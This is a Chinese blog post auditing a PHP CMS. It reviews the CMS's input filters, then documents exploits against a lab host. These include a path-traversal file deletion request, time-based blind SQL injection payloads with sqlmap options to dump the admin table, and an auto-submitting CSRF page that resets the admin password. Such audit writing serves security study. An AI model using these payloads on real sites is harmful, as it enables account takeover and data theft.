php代码审计----敏感代码收集

  • 获取ip的关键防护代码:
if(!is_numeric(str_replace('.','',$ip)))
{
  $ip = '0.0.0.0';
}

获取到的IP值,去除掉.后如果不是数字类型的话就重置为0.0.0.0

  • 留言板区域 严格过滤字符串中的敏感符号
//严格过滤字符串中的危险符号
function strict($str)
{
    if(S_MAGIC_QUOTES_GPC)
    {
        $str = stripslashes($str);
    }
    $str = str_replace('<','&#60;',$str);
    $str = str_replace('>','&#62;',$str);
    $str = str_replace('?','&#63;',$str);
    $str = str_replace('%','&#37;',$str);
    $str = str_replace(chr(39),'&#39;',$str);
    $str = str_replace(chr(34),'&#34;',$str);
    $str = str_replace(chr(13).chr(10),'<br />',$str);
    return $str;
}

尖括号被过滤,不能进行存储型XSS

  • 用户 评论区内容过滤
function add_comment()
{
    safe('comment');
    global $global,$smarty,$lang;
    $channel = post('channel');
    $com_page_id = post('page_id');
    $com_email = post('email');
    $com_rank = post('rank');
    $com_text = post('text');
    if($channel == '' || $com_page_id == '' || $com_rank == '' || $com_email == '' || $com_text == '')
    {
        $info_text = $lang['submit_error_info'];
    }
  ...
  ...
}
  • 密码修改功能区域防止CSRF攻击
function edit_pwd()
{
    safe('edit_pwd');
    global $global,$smarty,$lang;
    $old_pwd = post('old_pwd');
    $new_pwd = post('new_pwd');
    $re_pwd = post('re_pwd');
    if(strlen($old_pwd) < 6 || strlen($old_pwd) > 15 || strlen($new_pwd) < 6 || strlen($new_pwd) > 15 || $new_pwd != $re_pwd)
    {
        $info_text = $lang['submit_error_info'];
    }else{
        $use_password = md5($old_pwd);
        $obj = new users();
        $obj->set_where('use_id = '.$global['user_id']);
        $obj->set_where("use_password = '$use_password'");
        if($obj->get_count() > 0)
        {
            $use_password = md5($new_pwd);
            $obj->set_value('use_password',$use_password);
    ...
...
}

其中

// 这里需要提供旧密码
$use_password = md5($old_pwd);
$obj = new users();
$obj->set_where('use_id = '.$global['user_id']);
$obj->set_where("use_password = '$use_password'");
if($obj->get_count() > 0)

没有旧密码 是不可能改密码的

  • 可控变量过滤(文章浏览等功能不可避免地要进行数据库操作)
    session 过滤:使用了$filter = 'strict'严格模式
function set_session($name,$value,$filter = 'strict')
{
    if(S_SESSION)
    {
        $_SESSION[$name] = $filter($value);
    }else{
        setcookie($name,$filter($value));
    }
}
//获取session
function get_session($name,$filter = 'strict')
{
    if(S_SESSION)
    {
        return $filter(isset($_SESSION[$name])?$_SESSION[$name]:'');
    }else{
        return $filter(isset($_COOKIE[$name])?$_COOKIE[$name]:'');
    }
}
  • cookie过滤
//获取cookie
function get_cookie($name,$filter = 'strict')
{
    return $filter(isset($_COOKIE[$name])?$_COOKIE[$name]:'');
}
  • 管理员登录过滤
function admin_login()
{
    safe('admin_login');
    global $smarty,$lang;
    $username = substr(post('username'),0,30);
    $password = substr(post('password'),0,30);
    if($username == '' || $password == '')
    {
        unset_session('admin_username');
        unset_session('admin_password');
        $info_text = '对不起,用户名和密码不能为空';
        $link_text = '返回重新登录';
    }
  ...
  ...
}
  • 普通用户登录过滤
function user_login()
{
    safe('user_login');
    global $global,$smarty,$lang;
    $info_text = post('info_text');
    $link_text = post('link_text');
    $link_href = post('link_href');
    $username = post('username');
    $password = post('password');
  ...
  ...
}
  • 后台任意文件删除
function del_file()
{
    $path = post('path');
    $flag = false;
    $dir[0] = 'data/backup/';
    $dir[1] = 'images/';
    $dir[2] = 'resource/';
    for($i = 0; $i < count($dir); $i ++)
    {
        if(substr($path,0,strlen($dir[$i])) == $dir[$i])
        {
            $flag = true;
        }
    }
    if($flag)
    {
        if(unlink($path))
        {
            $result = 1;
        }
    }
    echo isset($result)?$result:0;
}

这里核心看这处代码:

if(substr($path,0,strlen($dir[$i])) == $dir[$i])
{
  $flag = true;
}

这是个删除文件的函数定义,删除文件用了白名单策略,必须只能删除:

$dir[0] = 'data/backup/';
$dir[1] = 'images/';
$dir[2] = 'resource/';

这3个目录下的文件,使用了substr从$path的0位置开始往后判断,只校验了$path前面是否在白名单内部,但是却忽略了 白名单后面的路径可能使用../的这种形式来穿越目录。
抓取删除 这个操作的数据包,具体如下:

POST /admin.php?/deal/ HTTP/1.1
Host: 10.211.55.12
Content-Length: 33
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://10.211.55.12
Referer: http://10.211.55.12/admin.php?/file/mod-pic_lists/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84
Connection: close

cmd=del_file&path=images/../1.php

通过在白名单目录后面使用../可以实现跨目录任意文件删除,删除成功返回1

  • 后台盲注
    后台盲注有好几处点,虽然可控变量基本上都被过滤了,但是却忽略 数字型盲注 不需要闭合单引号就可以直接拼接SQL语句导致盲注的产生删除管理员账号这里存在数字型盲注,下面来看下细节代码:
function del_admin()
{
    global $global;
    $adm_id = post('id');
    $obj = new admin();
    $obj->set_where('adm_id = '.$global['admin_id']);
    $a = $obj->get_one();
    $obj->set_where('');
    $obj->set_where("adm_id = $adm_id");
    $b = $obj->get_one();
    if($obj->get_count())
    {
        if($a['adm_grade'] < $b['adm_grade'])
        {
            $obj->del();
            set_cookie('result',1);
        }
    }
    echo 1;
}

比较关键的两处代码是:

// admin_id 用户可控 虽然经过post过滤了
$adm_id = post('adm_id');

// post过滤后直接带入数据库操作
$obj->set_where('adm_id = '.$global['admin_id']);

为了进一步分析,使用Burpsuite来抓取修改密码的数据包,具体如下:

POST /admin.php?/deal/dir-basic/ HTTP/1.1
Host: 10.211.55.12
Content-Length: 18
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://10.211.55.12
Referer: http://10.211.55.12/admin.php?/basic/mod-admin_list/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84; user_username=111111; user_password=96e79218965eb72c92a549dd5a330112
Connection: close

cmd=del_admin&id=2

因为代码里面只返回1 echo 1; 所以这里注入的话只能使用数字型基于时间的盲注了:
数据库监控工具来看一下后台执行了什么样的SQL语句:

select * from php_admin where adm_id = 3

先延时再验证一下:

cmd=del_admin&id=3 and sleep(10)

后台SQL语句:

select * from php_admin where adm_id = 3 and sleep(10)

然鹅测试发现并没有延时反应,因为这里是删除用户,当这个用户的ID被删掉以后,用and语句前提是两边都是真才可以,所以这里得把and换成or语句:


# 判断当前数据库长度
# 当前数据库长度是否为 1 没有延时 不是
cmd=del_admin&id=3 or if(length(database())=1,sleep(3),0)

# 延时 表明当前数据库长度为 6
cmd=del_admin&id=3 or if(length(database())=6,sleep(3),0)

# 当前数据库第1个字母的ascii码是否为 97 没有延时 不是
cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=97,sleep(3),0)

# 延时 表明当前数据库第1个字母的ascii码为 115 即 's'
cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=115,sleep(3),0)

# 当前数据库第2个字母的ascii码是否为 97 没有延时 不是
cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=97,sleep(3),0)

# 延时 表明当前数据库第2个字母的ascii码为 105 即 'i'
cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=105,sleep(3),0)
实际上也可以 保存数据包为文本,然后-r,文本里面手动标 星号

--cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;"

因为这个是后台盲注,所以这里需要Cookie认证一下

--data="cmd=del_admin&id=3"

手动写入POST数据包,将请求中提供对应发送的数据隐式地将 GET 改成 POST

-p "id"

手动指出存在注入的参数

--technique=T

手动指定时间型盲注的检测技术,SQLMap默认检测技术为 BEUSTQ

--random-agent

好习惯,随机user-agent

-v 3

国光自己的习惯,显示已注入的 payloads,国光习惯看SQLMap的payload,看多有助于学习先进的手工注入技术

--tamper="between"

因为这个网站过滤了尖括号,所以介个插件,作用是NOT BETWEEN 0 AND #替换大于号>,BETWEEN # AND #替换等于号=

-D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump

  • 管理员CSRF
    修改管理员密码,没有验证就密码,直接提供新密码,而且没有Token验证来防御CSRF攻击:
function edit_admin()
{
    global $global,$smarty;
    $adm_id = post('adm_id');
    $adm_password = post('adm_password');
    $re_password = post('re_password');    
    $obj = new admin();
    $obj->set_where('adm_id = '.$global['admin_id']);
    $a = $obj->get_one();
    $obj->set_where('');
    $obj->set_where("adm_id = $adm_id");
    $b = $obj->get_one();
    $success = 0;
    if($obj->get_count())
    {
        if($a['adm_id'] == $b['adm_id'] || $a['adm_grade'] < $b['adm_grade'])
        {
            if(strlen($adm_password) >= 5 && $adm_password == $re_password)
            {
                $obj->set_value('adm_password',md5($adm_password));
                $obj->edit();
                $success = 1;
            }
        }
    }
    if($success)
    {
        $info_text = '修改密码成功';
        $link_text = '返回列表页';
        $link_href = url(array('channel'=>'basic','mod'=>'admin_list'));
    }else{
        $info_text = '修改密码失败';
        $link_text = '返回上一页';
        $link_href = url(array('channel'=>'basic','mod'=>'admin_edit'));
    }
    $smarty->assign('info_text',$info_text);
    $smarty->assign('link_text',$link_text);
    $smarty->assign('link_href',$link_href);
}

同理添加管理员也是这样:

function add_admin()
{
	global $global,$smarty;
	$adm_username = post('adm_username');
	$adm_password = post('adm_password');
	$re_password = post('re_password');	
	$obj = new admin();
	$obj->set_where('adm_id = '.$global['admin_id']);
	$one = $obj->get_one();
	$adm_grade = $one['adm_grade'] + 1;
	$obj->set_where('');
	$obj->set_where("adm_username = '$adm_username'");
	if($obj->get_count() == 0 && strlen($adm_username) >= 5 && strlen($adm_password) >= 5 && $adm_password == $re_password)
	{
		$obj->set_value('adm_username',$adm_username);
		$obj->set_value('adm_password',md5($adm_password));
		$obj->set_value('adm_grade',$adm_grade);
		$obj->add();
		$info_text = '添加管理员帐号成功';
		$link_text = '返回列表页';
		$link_href = url(array('channel'=>'basic','mod'=>'admin_list'));
	}else{
		$info_text = '添加管理员帐号失败';
		$link_text = '返回上一页';
		$link_href = url(array('channel'=>'basic','mod'=>'admin_add'));
	}
	$smarty->assign('info_text',$info_text);
	$smarty->assign('link_text',$link_text);
	$smarty->assign('link_href',$link_href);
}

修改管理员密码为:Passw0rd 构造以下HTML页面:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.12/admin.php?/basic/index.html" method="POST">
      <input type="hidden" name="cmd" value="edit&#95;admin" />
      <input type="hidden" name="adm&#95;id" value="1" />
      <input type="hidden" name="adm&#95;password" value="Passw0rd" />
      <input type="hidden" name="re&#95;password" value="Passw0rd" />
    </form>
    <script> document.forms[0].submit(); </script>
  </body>
</html>

下面实际来模拟一下攻击场景
攻击者将上述html保存到外网上,引诱管理员点击,然后自动触发CSRF攻击:

管理员在后台 使用当前浏览器去访问这个地址的时候就中招了,这个html里面的修改密码表单会自动触发

  • 前台盲注
<?php
function module_search_main()
{
    global $global,$smarty;
    $global['key'] = rawurldecode($global['key']);
    $obj = new goods();
    $obj->set_field('goo_id,goo_title,goo_x_img');
    $obj->set_where("goo_title like '%" . $global['key'] . "%'");
    $obj->set_where('goo_channel_id = '.get_id('channel','cha_code','goods'));
    $len = get_varia('img_list_len');
    $obj->set_page_size($len ? $len : 12);
    $obj->set_page_num($global['page']);
    $sheet = $obj->get_sheet();
    for($i = 0; $i < count($sheet); $i ++)
    {
        $sheet[$i]['short_title'] = cut_str($sheet[$i]['goo_title'],10);
    }
    set_link($obj->get_page_sum());
    $smarty->assign('search',$sheet);
}
//新秀
?>

这里首先进行URL解码:

$global['key'] = rawurldecode($global['key']);

然后就直接带入数据库查询了:

$obj->set_where("goo_title like '%" . $global['key'] . "%'");


知道代码仅仅经过一次URL解码,所以尝试一下使用%23,解码后就是#来闭合后面的语句:

http://10.211.55.12/?/search/index.html/key-%27%20and%20sleep(2)%20%23/

%27and%20sleep(2)%20%23URL解码为:' and sleep(2) # 使用MySQL监控工具查看日志:

select goo_id,goo_title,goo_x_img from php_goods where goo_lang = 'zh-cn'  and goo_show = 1  and goo_title like '%' and sleep(2) #%'  and goo_channel_id = 1  order by goo_top desc,goo_index desc,goo_id desc

成功了,那么接下来使用SQLMap来进注入吧。

MySQL新版下secure-file-priv字段用来限制MySQL对目录的操作权限。先查看一下本地我们的MySQL是否有作限制


mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv | NULL  |
+------------------+-------+
2 rows in set (0.00 sec)

  • secure_file_priv的值为null ,表示限制mysqld 不允许导入导出

  • secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入导出只能发生在/tmp/目录下

  • secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

posted @ 2021-03-17 16:43  WANGXIN_YU  阅读(140)  评论(0)    收藏  举报